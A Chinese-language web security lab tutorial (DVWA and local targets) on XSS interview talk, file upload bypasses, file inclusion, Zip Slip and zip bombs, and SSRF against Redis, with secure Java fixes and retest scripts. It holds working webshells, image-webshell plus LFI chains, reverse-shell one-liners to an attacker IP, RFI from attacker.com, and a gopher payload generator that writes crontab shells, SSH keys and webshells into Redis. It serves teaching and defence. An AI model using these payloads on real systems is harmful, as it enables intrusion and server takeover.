echo "════════ CSRF 复测 ════════"
# 不带 token 直接提交敏感操作,应该被拒绝
CODE=$(curl -s -o /dev/null -w "%{http_code}" -X POST \
  "$TARGET/api/change-password" -d "newPass=hacked123")
if [ "$CODE" = "403" ] || [ "$CODE" = "401" ]; then
  echo "  ✓ [已防护]   无 CSRF Token 的 POST 被拒绝 (HTTP $CODE)"
  PASS=$((PASS+1))
else
  echo "  ✗ [存在风险] 无 CSRF Token 的 POST 返回 HTTP $CODE"
  FAIL=$((FAIL+1))
fi

# 带错误 Referer 的请求,应该被拒绝
CODE2=$(curl -s -o /dev/null -w "%{http_code}" -X POST \
  -H "Referer: http://evil.com/" \
  "$TARGET/api/change-password" -d "newPass=hacked123")
[ "$CODE2" = "403" ] && { echo "  ✓ [已防护]   跨站 Referer 被拒绝"; PASS=$((PASS+1)); } \
                     || { echo "  ✗ [存在风险] 跨站 Referer 未被拒绝"; FAIL=$((FAIL+1)); }

echo ""
echo "════════ 结果 ════════"
echo "通过: $PASS    失败: $FAIL"
[ $FAIL -eq 0 ] && echo "★ 全部通过" || echo "!! 仍有 $FAIL 项有风险"

3.6 面试怎么讲

30 秒口述版

“我在 DVWA 上做过完整的 XSS 实验。反射型我用 new Image().src 把 document.cookie 发到了自己的接收端,然后用偷来的 PHPSESSID 直接登录了 admin——完全不需要密码。

存储型那个更直观:我在留言板里提交了一段脚本,之后用另一个浏览器打开页面,Cookie 就被偷了。后来我上了 BeEF,用它接管了受害者的浏览器,能偷浏览历史、能扫内网、还能用 Pretty Theft 弹出一个跟原站一模一样的登录框骗密码——这个对我的冲击挺大的。

印象最深的是 HttpOnly 的对比实验:开了 HttpOnly 之后 document.cookie 就读不到了,但页面上显示的身份证号还是能被偷走,也能以用户名义发请求。所以 HttpOnly 只是减轻后果,不是防止 XSS,真正的防线是输出编码加 CSP。

CSP 我也做过绕过实验,发现配了 unsafe-inline 或者白名单里有 JSONP 端点的话,CSP 基本等于没配。所以正确做法是用 nonce,而且要先 Report-Only 观察一两周再切正式模式。“


第四章:文件上传与文件包含实战

本章目标:亲手绕过文件上传的每一道防线,最终通过“图片马 + 文件包含”拿到 shell。

预计耗时:2 小时


4.1 逐层绕过上传防护(DVWA 四个等级)

4.1.1 Low 等级:无防护

# 准备一个 PHP webshell
cat > /tmp/shell.php <<'EOF'
<?php
if(isset($_POST['cmd'])){
    echo "<pre>";
    system($_POST['cmd']);
    echo "</pre>";
}
?>
EOF

# 直接上传
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
  -F "MAX_FILE_SIZE=100000" \
  -F "uploaded=@/tmp/shell.php" \
  -F "Upload=Upload" \
  "http://127.0.0.1:8080/vulnerabilities/upload/" \
  | grep -oP "(succeeded|failed|Your image was not uploaded)" | head -1

# 预期输出:succeeded   ← ★ 直接上传成功

# 访问并执行
curl -s -X POST "http://127.0.0.1:8080/hackable/uploads/shell.php" -d "cmd=id"
# 预期输出:uid=33(www-data) gid=33(www-data) groups=33(www-data)

看漏洞源码(什么都没校验):

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    // ★ 直接用客户端给的文件名,没做任何校验
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}
?>

4.1.2 Medium 等级:校验 Content-Type

<?php
// DVWA medium 的源码
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];     // ★ 客户端传的 MIME
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) ) {
    // 允许上传
}
?>

绕过(Burp 改包,30 秒搞定):

1. Burp 开启拦截
2. 页面上传 shell.php
3. Burp 拦截到请求,找到这段:
   ------WebKitFormBoundaryABC123
   Content-Disposition: form-data; name="uploaded"; filename="shell.php"
   Content-Type: application/x-php          ← ★ 改这一行

   <?php system($_POST['cmd']); ?>
   ------WebKitFormBoundaryABC123--

4. 改成:
   Content-Type: image/jpeg                 ← ★ 改成图片类型

5. Forward 放包 → 上传成功

curl 等价命令:

curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
  -F "MAX_FILE_SIZE=100000" \
  -F "uploaded=@/tmp/shell.php;type=image/jpeg" \
  -F "Upload=Upload" \
  "http://127.0.0.1:8080/vulnerabilities/upload/" \
  | grep -oP "(succeeded|not uploaded)"

# ★ 关键点:-F 后面加 ;type=image/jpeg 指定 Content-Type

★★ 核心认知:Content-Type 是客户端自己填的,和文件名一样不可信。 它唯一的作用是“告诉服务器这是什么类型”,但服务器完全可以自己去检查文件的真实内容——这就是下一节的魔数校验。

4.1.3 High 等级:校验文件头魔数 + 扩展名

<?php
// DVWA high 的源码
$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
// ★ 扩展名白名单
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg"
      || strtolower( $uploaded_ext ) == "png" )
    // ★ 校验文件内容(getimagesize 会读文件头)
    && ( $uploaded_size < 100000 )
    && getimagesize( $uploaded_tmp ) ) {
    // 允许上传
}
?>

绕过方法一:制作图片马(★ 核心技巧)

# 方式 1:在合法图片后面追加 PHP 代码
cp /tmp/normal.jpg /tmp/ma.jpg
echo '<?php system($_POST["cmd"]); ?>' >> /tmp/ma.jpg

# 方式 2:在图片 EXIF 注释里写马(更隐蔽)
# exiftool(需安装):
exiftool -Comment='<?php system($_POST["cmd"]); ?>' /tmp/normal.jpg -o /tmp/ma2.jpg

# 方式 3:用 copy 命令合成(Windows)
# copy normal.jpg /b + shell.php /a ma3.jpg

# ★ 关键:文件头是合法的图片数据(getimagesize 能识别),
#   但文件尾藏着 PHP 代码

# 验证:getimagesize 能识别吗?
php -r 'var_dump(getimagesize("/tmp/ma.jpg"));'
# 输出:
# array(7) {
#   [0]=> int(800)          ← 宽度
#   [1]=> int(600)          ← 高度
#   [2]=> int(2)            ← 图片类型 2=JPEG
#   ...
# }
# ★ 识别为合法图片,校验通过

# 上传
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
  -F "MAX_FILE_SIZE=100000" \
  -F "uploaded=@/tmp/ma.jpg;type=image/jpeg" \
  -F "Upload=Upload" \
  "http://127.0.0.1:8080/vulnerabilities/upload/" \
  | grep -oP "(succeeded|not uploaded)"
# 预期:succeeded

问题:上传了 .jpg,但 PHP 不会执行 .jpg 文件。怎么办?

→ 这就是下一个实验:文件包含漏洞。我们需要让 PHP 去“包含”这个 jpg 文件,里面的 PHP 代码就会被执行。

4.1.4 Impossible 等级:正确的实现

<?php
// DVWA impossible 的源码 —— ★ 这是标准答案
if( isset( $_POST[ 'Upload' ] ) ) {
    // ① 校验 CSRF Token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // ② ★★ 目标文件名【服务端随机生成】,完全不用客户端给的名字
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' )
                       ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // ③ 扩展名白名单 + Content-Type 白名单 + 大小限制
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg'
          || strtolower( $uploaded_ext ) == 'png' )
        && ( $uploaded_size < 100000 )
        && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' )
        // ④ ★★ 校验【真实 MIME】,不是客户端传的
        && getimagesize( $uploaded_tmp ) ) {

        // ⑤ ★★★ 二次渲染:重新编码图片,把藏在里面的 PHP 代码彻底抹掉
        if( $uploaded_type == 'image/png' ) {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9 );
        } else {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100 );
        }
        imagedestroy( $img );

        // ⑥ 存到 Web 根目录之外,或独立的静态服务器
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path
                                  . $target_file ) ) ) {
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a>
                  succesfully uploaded!</pre>";
        }
        // ⑦ 重新生成 anti-CSRF token
        generateSessionToken();
    }
}
?>

★ 五道防线总结:

# 防线 防住了什么
1 扩展名白名单 .php、.jsp 等脚本文件
2 校验真实 MIME(getimagesize) 改 Content-Type 绕过
3 服务端随机文件名 路径穿越(../)、覆盖已有文件
4 二次渲染 ★ 图片马(恶意代码在重新编码时丢失)
5 存到 Web 目录之外 / 对象存储 即使上传了恶意文件也访问不到、执行不了

4.2 文件包含漏洞(★ 图片马的“引信”)

原理:页面用参数决定“包含哪个文件”,参数可控 → 可以包含任意文件。

这是“图片马”能被执行的唯一途径——因为 PHP 引擎只解析 .php 文件, 但 include() 会把被包含的文件当作 PHP 代码执行,不管它是什么扩展名。

4.2.1 本地文件包含(LFI)

# DVWA → File Inclusion
# URL: /vulnerabilities/fi/?page=file1.php

# ① 读系统文件
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
  "http://127.0.0.1:8080/vulnerabilities/fi/?page=/etc/passwd" \
  | grep -E "root:|www-data:" | head -5
# 预期输出:
# root:x:0:0:root:/root:/bin/bash
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

# ② 路径穿越(../../)
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
  "http://127.0.0.1:8080/vulnerabilities/fi/?page=../../../../etc/passwd"

# ③ 读 PHP 源码(用 php://filter 编码输出,避免被执行)
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
  "http://127.0.0.1:8080/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index.php" \
  | base64 -d | head -30
# ★ 这个技巧能读到 PHP 源码(里面可能有数据库密码!)

4.2.2 ★★ 图片马 + 文件包含 = GetShell(完整链)

# ═══ 完整攻击链 ═══

# ① 制作图片马
cp /tmp/normal.jpg /tmp/ma.jpg
echo '<?php system($_GET["c"]); ?>' >> /tmp/ma.jpg

# ② 上传到 DVWA(high 等级,能过 getimagesize)
UP=$(curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
  -F "MAX_FILE_SIZE=100000" \
  -F "uploaded=@/tmp/ma.jpg;type=image/jpeg" \
  -F "Upload=Upload" \
  "http://127.0.0.1:8080/vulnerabilities/upload/")
echo "$UP" | grep -oP "hackable/uploads/\K[^']+"
# 预期输出:ma.jpg  (因为原文件名被保留了)

# ③ 用文件包含漏洞去"包含"这张图片
#    ★★ 关键:include() 会把 .jpg 内容当 PHP 执行!
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
  "http://127.0.0.1:8080/vulnerabilities/fi/?page=../../hackable/uploads/ma.jpg&c=id" \
  | grep -E "uid=|www-data"
# 预期输出:uid=33(www-data) gid=33(www-data) groups=33(www-data)
#
# ★★★ GetShell 成功!

# ④ 反弹 shell
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
  "http://127.0.0.1:8080/vulnerabilities/fi/?page=../../hackable/uploads/ma.jpg" \
  --data-urlencode "c=bash -i >& /dev/tcp/你的IP/4444 0>&1"

★ 为什么这个组合这么经典?

单独看,两个漏洞都不算致命:
  - 文件上传:只能传图片,传不了 .php
  - 文件包含:只能包含服务器已有的文件

组合起来 = RCE:
  上传图片马(突破上传白名单)
      ↓
  文件包含执行它(突破扩展名限制)
      ↓
  ★ 任何一个单独看都"不算严重"的漏洞,组合起来就能拿下服务器

→ 这就是"攻击链"的概念,也是为什么安全评审要【全局看】而不是【逐个漏洞看】

4.2.3 远程文件包含(RFI)

# 如果 allow_url_include = On,还能包含远程文件
# 攻击者把自己的 shell 放在自己的服务器上,让目标去包含
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
  "http://127.0.0.1:8080/vulnerabilities/fi/?page=http://attacker.com/shell.txt&c=id"

# ★ 这个更狠:连上传都不用了

修复:

# php.ini —— 必须关掉
allow_url_include = Off      # ★ 禁远程包含
allow_url_fopen = Off        # 禁远程文件打开
open_basedir = /var/www/html:/tmp    # ★ 限制 PHP 只能访问这些目录
// Java 侧的等价防护
@GetMapping("/download")
public void download(@RequestParam String file, HttpServletResponse resp) {
    // ❌ 危险:直接拼接
    // Path p = Paths.get(BASE_DIR + file);

    // ✅ 正确:三重校验
    Path baseDir = Paths.get("/data/files").toRealPath();
    Path requested = baseDir.resolve(file).normalize().toRealPath();

    // ★ 关键:确认解析后的真实路径仍在 baseDir 内
    if (!requested.startsWith(baseDir)) {
        throw new SecurityException("非法路径: " + file);
    }
    // 还要校验文件名不含 .. 和绝对路径
    if (file.contains("..") || file.startsWith("/") || file.contains("\\")) {
        throw new SecurityException("非法文件名");
    }
    Files.copy(requested, resp.getOutputStream());
}

4.3 Zip Slip 与 Zip Bomb(解压功能的坑)

4.3.1 Zip Slip(路径穿越覆盖系统文件)

#!/usr/bin/env python3
"""构造 Zip Slip 攻击包"""
import zipfile

# 恶意文件名:用 ../../ 穿越到系统目录
# 目标:解压后覆盖 /etc/cron.d/ 下的计划任务 → 定时执行我们的命令
payload = b"* * * * * root bash -i >& /dev/tcp/你的IP/4444 0>&1\n"

with zipfile.ZipFile('/tmp/zipslip.zip', 'w') as z:
    # ★ 文件名里带 ../ ,解压时会"逃出"目标目录
    z.writestr('../../../../etc/cron.d/pwn', payload)
    # 也可以覆盖 SSH key、.bashrc 等

print("[+] 已生成 /tmp/zipslip.zip")
print("    恶意路径: ../../../../etc/cron.d/pwn")

# 验证
with zipfile.ZipFile('/tmp/zipslip.zip') as z:
    for n in z.namelist():
        print("    包含条目:", n)
// ❌ 漏洞代码
public void unzip(MultipartFile file, String destDir) throws IOException {
    try (ZipInputStream zis = new ZipInputStream(file.getInputStream())) {
        ZipEntry entry;
        while ((entry = zis.getNextEntry()) != null) {
            // ★ 直接用压缩包里的文件名,没有校验路径
            Path p = Paths.get(destDir, entry.getName());
            Files.copy(zis, p);   // → 写到了 destDir/../../etc/cron.d/pwn
        }
    }
}

// ✅ 修复代码
public void unzipSafe(MultipartFile file, String destDir) throws IOException {
    Path destDirPath = Paths.get(destDir).toRealPath();
    int entryCount = 0;
    long totalSize = 0;

    try (ZipInputStream zis = new ZipInputStream(file.getInputStream())) {
        ZipEntry entry;
        while ((entry = zis.getNextEntry()) != null) {
            // ① 条目数量限制(防 Zip Bomb)
            if (++entryCount > 1000) throw new SecurityException("压缩包条目过多");

            // ② 解析并规范化路径
            Path target = destDirPath.resolve(entry.getName()).normalize();

            // ③ ★★ 关键:确认规范化后仍在目标目录内
            if (!target.startsWith(destDirPath)) {
                throw new SecurityException("检测到路径穿越: " + entry.getName());
            }

            if (entry.isDirectory()) {
                Files.createDirectories(target);
                continue;
            }

            // ④ 解压后大小限制(防 Zip Bomb)
            byte[] buf = new byte[8192];
            int n;
            while ((n = zis.read(buf)) > 0) {
                totalSize += n;
                if (totalSize > 100 * 1024 * 1024) {   // 100MB 上限
                    throw new SecurityException("解压后数据过大");
                }
                // 写入
            }
        }
    }
}

4.3.2 Zip Bomb(解压炸弹)

# 生成一个 42KB 的压缩包,解压后是 4.5PB(经典 42.zip)
# 这里生成一个温和版的(10MB,别把自己机器搞崩)
python3 - <<'PY'
import zipfile
# 创建多层嵌套:每层 10 个文件,每个文件是上一层的内容
# 简化版:直接创建一个包含大量重复数据的包
with zipfile.ZipFile('/tmp/bomb.zip','w',zipfile.ZIP_DEFLATED) as z:
    # 1GB 的零字节,压缩后几乎为 0
    z.writestr('big.bin', b'\0' * (100 * 1024 * 1024))   # 100MB
print("生成完毕")
PY

ls -lh /tmp/bomb.zip
# 预期:-rw-r--r-- 1 user user 100K /tmp/bomb.zip
#        ★ 100KB 的文件,解压出来 100MB(压缩比 1000:1)

# 极端情况:42.zip 是 42KB → 4.5PB(压缩比 1 亿:1)
# 服务器一解压,磁盘瞬间写满 → DoS

防御指标:

// 四个限制,缺一不可
int    MAX_ENTRIES    = 1000;              // 条目数
long   MAX_TOTAL_SIZE = 100 * 1024 * 1024; // 解压后总大小 100MB
long   MAX_SINGLE     = 20 * 1024 * 1024;  // 单文件 20MB
double MAX_RATIO      = 100.0;             // ★ 压缩比超过 100 就拒绝

// 压缩比校验
long compressed = file.getSize();
// 边解压边累计 uncompressed,实时判断
if (uncompressed > compressed * MAX_RATIO) {
    throw new SecurityException("压缩比异常,疑似 Zip Bomb");
}

4.4 修复与复测

4.4.1 完整的 Java 文件上传安全实现

@RestController
@RequestMapping("/api/file")
public class SecureUploadController {

    // ★ 白名单:扩展名 → 魔数
    private static final Map<String, String> ALLOWED = Map.of(
        "jpg",  "FFD8FF",
        "jpeg", "FFD8FF",
        "png",  "89504E47",
        "gif",  "47494638",
        "pdf",  "25504446"
    );
    private static final long MAX_SIZE = 10 * 1024 * 1024;   // 10MB

    @PostMapping("/upload")
    public Map<String, Object> upload(@RequestParam("file") MultipartFile file) {
        // ① 大小校验
        if (file.getSize() > MAX_SIZE) {
            return fail("文件超过 10MB");
        }

        // ② 扩展名白名单
        String original = file.getOriginalFilename();
        String ext = getExt(original).toLowerCase();
        if (!ALLOWED.containsKey(ext)) {
            return fail("不支持的文件类型: " + ext);
        }

        // ③ ★ 魔数校验(读文件头,不信客户端传的 Content-Type)
        String magic = readMagic(file);
        if (!ALLOWED.get(ext).startsWith(magic)) {
            return fail("文件内容与扩展名不符(可能是伪装的)");
        }

        // ④ ★★ 图片二次渲染(干掉图片马和 EXIF)
        byte[] cleaned;
        try {
            BufferedImage img = ImageIO.read(file.getInputStream());
            if (img == null) return fail("不是有效的图片");
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ImageIO.write(img, ext.equals("png") ? "png" : "jpg", baos);
            cleaned = baos.toByteArray();
        } catch (Exception e) {
            return fail("图片处理失败: " + e.getMessage());
        }

        // ⑤ ★★★ 服务端随机文件名(不用客户端给的任何东西)
        String newName = UUID.randomUUID().toString().replace("-", "") + "." + ext;

        // ⑥ ★★★ 存到对象存储(私有桶),不存应用服务器
        String url = ossClient.putObject("my-private-bucket",
                                          "uploads/" + newName, cleaned);

        // ⑦ 病毒扫描(可选,敏感场景必做)
        // if (clamAv.scan(cleaned).isInfected()) return fail("文件含病毒");

        // ⑧ 审计日志
        log.info("文件上传: user={}, original={}, stored={}, size={}, ip={}",
                 currentUserId(), original, newName, cleaned.length, getClientIp());

        return Map.of("code", 0, "url", url, "name", newName);
    }

    private String readMagic(MultipartFile file) {
        try (InputStream in = file.getInputStream()) {
            byte[] b = new byte[8];
            int n = in.read(b);
            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < n; i++) sb.append(String.format("%02X", b[i]));
            return sb.toString();
        } catch (IOException e) {
            return "";
        }
    }

    private String getExt(String name) {
        int i = name == null ? -1 : name.lastIndexOf('.');
        return i < 0 ? "" : name.substring(i + 1);
    }
}

4.4.2 复测脚本

#!/usr/bin/env bash
# verify_upload.sh
TARGET="${1:-http://127.0.0.1:8888}"
PASS=0; FAIL=0

try_upload() {
  local file="$1"; local ctype="$2"; local desc="$3"
  local resp=$(curl -s -X POST "$TARGET/api/file/upload" \
    -F "file=@$file;type=$ctype")
  if echo "$resp" | grep -q '"code":0\|"url"'; then
    echo "  ✗ [上传成功] $desc  ← 不应该成功!"
    FAIL=$((FAIL+1))
  else
    echo "  ✓ [已拦截]   $desc"
    PASS=$((PASS+1))
  fi
}

echo "════════ 文件上传复测 ════════"

# 准备测试文件
echo '<?php system($_GET["c"]); ?>' > /tmp/t_shell.php
echo '<?php system($_GET["c"]); ?>' > /tmp/t_shell.php.jpg
cp /tmp/normal.jpg /tmp/t_ma.jpg 2>/dev/null || \
  python3 -c "open('/tmp/t_ma.jpg','wb').write(bytes.fromhex('ffd8ffe000104a46494600010100000100010000ffd9'))"
echo '<?php system($_GET["c"]); ?>' >> /tmp/t_ma.jpg

try_upload "/tmp/t_shell.php"      "application/x-php"   "PHP 脚本"
try_upload "/tmp/t_shell.php.jpg"  "image/jpeg"          "双扩展名"
try_upload "/tmp/t_shell.php"      "image/jpeg"          "改 Content-Type 绕过"
try_upload "/tmp/t_ma.jpg"         "image/jpeg"          "图片马"

echo ""
echo "════════ 路径穿越复测 ════════"
# 构造带 ../ 的文件名
curl -s -X POST "$TARGET/api/file/upload" \
  -F 'file=@/tmp/t_ma.jpg;filename=../../../../etc/cron.d/pwn;type=image/jpeg' \
  | grep -q '"code":0' && \
  { echo "  ✗ [仍可穿越] 文件名含 ../ 被接受"; FAIL=$((FAIL+1)); } || \
  { echo "  ✓ [已拦截]   路径穿越文件名"; PASS=$((PASS+1)); }

echo ""
echo "════════ 结果 ════════"
echo "通过: $PASS    失败: $FAIL"
[ $FAIL -eq 0 ] && echo "★ 全部通过" || echo "!! 仍有 $FAIL 项可被绕过"

4.5 面试怎么讲

30 秒口述版

“文件上传我做的是逐层绕过的实验。DVWA 的 low 等级什么都不校验,直接传 php 就 getshell 了;medium 只校验 Content-Type,用 Burp 改一个包就绕过了;high 加了 getimagesize 校验文件头,我就做图片马——在一张正常 jpg 后面追加 PHP 代码,文件头还是合法的,校验能过。

但传上去是 .jpg,PHP 不会执行它。这时候我结合 DVWA 的文件包含漏洞,用 ?page=../../uploads/ma.jpg 去包含它——include 会把被包含的文件当 PHP 执行,不管它是什么扩展名,这样就拿到了 shell。

这个实验给我的启发是:文件上传和文件包含单独看都不算致命,组合起来就是 RCE。所以做安全评审不能只看单个漏洞,要看它们之间的组合。

修复上我总结了五道防线:扩展名白名单、校验真实 MIME、服务端随机文件名、二次渲染、存对象存储。其中最容易被忽略的是二次渲染——它能一次性干掉图片马和 EXIF 里藏的东西。“


第五章:SSRF 实战(★ 云上最危险)

本章目标:理解为什么 SSRF 在云环境下是“最危险”的漏洞——它不只是扫内网,而是能直接拿走你的云账号钥匙。

实验环境:自建 Spring Boot 靶场 + Vulhub Redis

预计耗时:3 小时


5.0 为什么 SSRF 在云上特别危险

传统机房的 SSRF:
  你的服务器 → 内网其他机器
  危害:扫描内网、打未授权服务
  范围:★ 局限在一个机房的内网

云上的 SSRF:
  你的服务器 → 169.254.169.254(云元数据服务)
              → 拿到【临时 AK/SK】
              → 用 AK 操作你的 OSS / RDS / ECS / 所有云资源
  危害:★★ 从"一台服务器"升级到"整个云账号"
  范围:整个 VPC,甚至跨地域

★ 关键差异:云厂商把"身份凭证"放在了一个【内网地址】上,
  而 SSRF 恰恰能让攻击者以服务器的身份去访问内网地址。
  这两件事撞在一起,就产生了质变。

真实案例:

  • 2019 年 Capital One 数据泄露:攻击者利用 AWS WAF 的 SSRF 漏洞访问元数据服务,拿到临时凭证,最终窃取了 1 亿条用户记录。负责人被判监禁。
  • 2021 年 Microsoft Exchange(ProxyLogon 链条之一):SSRF + 其他漏洞组合,影响全球数万台服务器。

5.1 基础 SSRF:探测内网

5.1.1 用自建靶场练手

# 确保靶场已启动
curl -s "http://127.0.0.1:8888/ssrf/fetch?url=http://example.com" | head -5

# ═══ 实验 1:探测自己 ═══
curl -s "http://127.0.0.1:8888/ssrf/fetch?url=http://127.0.0.1:8888/actuator/env" | head -30
# ★ 我们让服务器访问了它自己的 Actuator 端点
#   从外部看,8888 端口可能只对内网开放,但通过 SSRF 就能访问到

# ═══ 实验 2:读本地文件(file 协议) ═══
curl -s "http://127.0.0.1:8888/ssrf/fetch?url=file:///etc/passwd"
# 预期输出:
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# ...

# ═══ 实验 3:扫内网端口(★ 端口扫描器) ═══
for port in 22 80 443 3306 6379 8080 8888 9200 11211 27017; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    --max-time 3 \
    "http://127.0.0.1:8888/ssrf/fetch?url=http://127.0.0.1:$port/")
  echo "port $port -> HTTP $code"
done
# 预期输出(示例):
# port 22    -> HTTP 000  (连接失败/超时)
# port 80    -> HTTP 200
# port 6379  -> HTTP 200  ← Redis 端口开放!
# port 8888  -> HTTP 200
#
# ★ 通过"响应时间"和"错误信息"能进一步区分端口是否开放

★ 更精确的端口探测脚本(利用响应时间差):

#!/usr/bin/env python3
"""SSRF 内网端口扫描器"""
import requests, time, concurrent.futures

SSRF = "http://127.0.0.1:8888/ssrf/fetch"

def probe(target):
    """返回 (target, 是否存活, 耗时, 响应片段)"""
    try:
        start = time.time()
        r = requests.get(SSRF, params={"url": target}, timeout=10)
        cost = time.time() - start
        body = r.text[:100]
        # 判断是否"连接被拒绝"(说明端口关闭)
        refused = any(k in body for k in
                      ["Connection refused", "拒绝连接", "connect: Connection refused"])
        return (target, not refused, round(cost, 2), body.replace("\n", " ")[:60])
    except Exception as e:
        return (target, False, 0, str(e)[:50])

if __name__ == "__main__":
    hosts = ["127.0.0.1", "172.20.0.1", "172.20.0.2", "172.20.0.3"]
    ports = [22, 80, 443, 3306, 6379, 8080, 8888, 9200, 11211, 27017, 2379, 10250]

    targets = [f"http://{h}:{p}/" for h in hosts for p in ports]
    print(f"[*] 扫描 {len(targets)} 个目标...\n")

    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as ex:
        for target, alive, cost, snippet in ex.map(probe, targets):
            if alive:
                print(f"  [+] {target:35s} 耗时{cost:5.2f}s  {snippet}")
pip3 install requests && python3 ssrf_scan.py

5.2 gopher 协议打 Redis(★ 经典中的经典)

这是 SSRF 利用里最精妙的一个技巧,也是面试的高频考点。

原理:Redis 的协议(RESP)是纯文本的,而 gopher 协议能构造任意 TCP 报文。 所以我们可以用 gopher 把 Redis 命令“伪装”成一个 URL,让 SSRF 漏洞去“访问”这个 URL, 实际上是向 Redis 发送了命令。

5.2.1 先起一个无密码的 Redis

docker run -d --name redis-vuln --network lab-net \
  -p 127.0.0.1:6379:6379 \
  redis:5.0.14 \
  redis-server --appendonly no --protected-mode no

sleep 3

# 确认无密码
redis-cli -h 127.0.0.1 -p 6379 ping
# 预期:PONG
# ★ 如果能直接 PONG,说明无认证

5.2.2 理解 Redis 的 RESP 协议

# 用 redis-cli 看一下真实的网络报文
# 开一个抓包(或用 MONITOR)
redis-cli -h 127.0.0.1 -p 6379 SET mykey "hello"

# 实际发送的网络报文是:
#   *3\r\n$3\r\nSET\r\n$5\r\nmykey\r\n$5\r\nhello\r\n
#
# ★ RESP 协议格式:
#   *3            → 这是一个数组,有 3 个元素
#   $3\r\nSET     → 第 1 个元素:长度 3 的字符串 "SET"
#   $5\r\nmykey   → 第 2 个元素:长度 5 的 "mykey"
#   $5\r\nhello   → 第 3 个元素:长度 5 的 "hello"
#
# ★★ 关键:全部是文本!所以可以用 gopher:// 构造

5.2.3 生成 gopher payload

#!/usr/bin/env python3
"""生成 SSRF 打 Redis 的 gopher payload
★ 这个脚本一定要读懂,面试常问"gopher 打 Redis 的原理" """
from urllib.parse import quote

def resp(*args):
    """把命令转成 RESP 协议格式"""
    out = f"*{len(args)}\r\n"
    for a in args:
        a = str(a)
        out += f"${len(a)}\r\n{a}\r\n"
    return out

def gopher_url(host, port, payload):
    """★ 核心:把 RESP 报文包进 gopher URL"""
    # gopher://host:port/_ + URL编码后的报文
    # 注意:_ 后面的内容会被原样发给目标端口
    return f"gopher://{host}:{port}/_" + quote(payload)

# ════════════════════════════════════════════
# 场景 1:写 crontab 反弹 shell(最经典)
# ════════════════════════════════════════════
ATTACKER_IP = "172.20.0.1"      # ★ 改成你的 IP
ATTACKER_PORT = 4444

cron = f"\n\n*/1 * * * * bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1\n\n"

p1 = (
    resp("flushall") +
    resp("set", "1", cron) +
    resp("config", "set", "dir", "/var/spool/cron/") +
    resp("config", "set", "dbfilename", "root") +
    resp("save") +
    resp("quit")
)
print("【1】写 crontab 反弹 shell:")
print(gopher_url("127.0.0.1", 6379, p1))
print()

# ════════════════════════════════════════════
# 场景 2:写 SSH 公钥(需要 root 运行 + 开启密钥登录)
# ════════════════════════════════════════════
ssh_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQAB...攻击者自己的公钥"

p2 = (
    resp("flushall") +
    resp("set", "1", f"\n\n{ssh_key}\n\n") +
    resp("config", "set", "dir", "/root/.ssh/") +
    resp("config", "set", "dbfilename", "authorized_keys") +
    resp("save") +
    resp("quit")
)
print("【2】写 SSH 公钥:")
print(gopher_url("127.0.0.1", 6379, p2))
print()

# ════════════════════════════════════════════
# 场景 3:写 webshell
# ════════════════════════════════════════════
webshell = '<?php @eval($_POST["cmd"]);?>'
p3 = (
    resp("flushall") +
    resp("set", "1", f"\n\n{webshell}\n\n") +
    resp("config", "set", "dir", "/var/www/html/") +
    resp("config", "set", "dbfilename", "shell.php") +
    resp("save") +
    resp("quit")
)
print("【3】写 webshell:")
print(gopher_url("127.0.0.1", 6379, p3))
print()

# ════════════════════════════════════════════
# 场景 4:Redis 主从复制 RCE(★ 最强,推荐先验证这个)
# ════════════════════════════════════════════
# 原理:把自己伪装成主库,让目标 Redis 成为从库
#      然后同步一个恶意的 .so 模块过去,MODULE LOAD 加载它
# 工具:https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
